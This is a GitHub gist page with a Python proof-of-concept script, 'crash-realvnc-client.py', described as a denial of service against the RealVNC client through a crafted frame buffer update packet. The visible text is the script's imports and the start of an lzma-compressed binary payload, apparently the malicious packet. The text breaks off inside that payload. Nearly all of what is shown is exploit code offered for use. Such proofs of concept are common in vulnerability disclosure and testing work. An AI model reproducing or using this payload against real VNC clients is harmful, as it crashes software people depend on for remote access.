Skip to content

Instantly share code, notes, and snippets.

@totaam
totaam / crash-realvnc-client.py
Last active September 16, 2021 15:39
denial of service via a crafted frame buffer update packet
#!/usr/bin/env python3
import sys
import lzma
import socket
Z = lzma.decompress(b'\xfd7zXZ\x00\x00\x04\xe6\xd6\xb4F\x02\x00!\x01\x1c\x00\x00\x00\x10\xcfX\xcc\xe0py\x07\x1f]\x00\x00g\xfe\xa0 o9\xfd\xf7\x93\x8dMX"d\x0fM\x14Y\x05E\x1fH\xb4%\x94P\x0bZ\xb4\x0b\x91q\xad%\x0f-\xa9\x9a$\x1b\xa5\x15\x17\x97\xfeP\\\x066\\\xfd\x8cv\xc9U\xf2\xb2\xc0v\x1c\x0e\xed\xe1W\xc9\x03G\x8et\x88=\xcbg\x04\x94F\x18\xf3\xaeO\xf4 \x97\xeb\xea)\x852\xdb\xec\xc3\x95\x08~\x8a\x80\xef\xf6W\xa2\x97"\xb5\t\xfa\xa0\xee\x98\x95\x84\xa16\x81@\x84\x93\xf0\x8a\xd6\x997\x0c\xe8\xe5W\x08:\x89\x94\x88\xb3\xbc3\xb0\xd29v\xf5\xd3+1\x9eBm1?\x15F\xfce\xa0\xbfN\xbac\xbd;\x83\x98\xe0\xea\x87rB\xc2\xb9\xd6\xf9\xfc-\xa3\xaf\xec\xc5b\xc0\xac\xe8x\xc6\t9\xdbR\xafI\xb9\xe9\x1fW(qaM\xf9\xc2\xae\x1f\xebrw\xe30\x84\xa5\x1a!\xb2N\xd5\xa5\xec\xb6\xf9\xf7rd\t\x06\x9dd\x04\rWm`\xf9\x1a\xca\xccH1\xc8,\xd9\x06d#\xa3\x81\xc1\xdf\x0f\xce\xae#\x1f\xb3EJ\xc9\xc2\xb1\xb2jZR\x98\xc3\x11\nB\x06\x00\xa4_\xee\xd7\xbc\xcf\xc4C\x85}\xb3PCX\xc3\xb3-\x17\x8f\x88\xd2\x04d\xe9\xcf